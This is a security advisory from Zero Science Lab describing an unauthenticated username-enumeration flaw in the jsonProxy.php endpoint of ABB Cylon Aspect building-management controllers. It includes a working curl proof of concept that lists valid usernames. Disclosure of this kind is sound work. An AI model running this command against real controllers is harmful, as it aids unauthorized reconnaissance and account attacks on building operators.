ABB Cylon Aspect 3.08.01 jsonProxy.php Username Enumeration

ABB Cylon Aspect 3.08.01 (jsonProxy.php) Username Enumeration

Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The jsonProxy.php endpoint on the ABB BMS/BAS controller is vulnerable
to username enumeration. An unauthenticated attacker can interact with the
UserManager servlet to enumerate valid usernames on the system. Since jsonProxy.php
proxies requests to internal services without requiring authentication, attackers
can gain unauthorized insights into valid usernames.

Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2024-5859
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5859.php

21.04.2024

—

$ cat project

P R O J E C T

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$ curl -s “http://192.168.73.31/jsonProxy.php?port=7226&application=UserManager” \
> | grep -o ‘selecteduser=[^”]*’ \
> | sed ‘s/selecteduser=//’

aamuser
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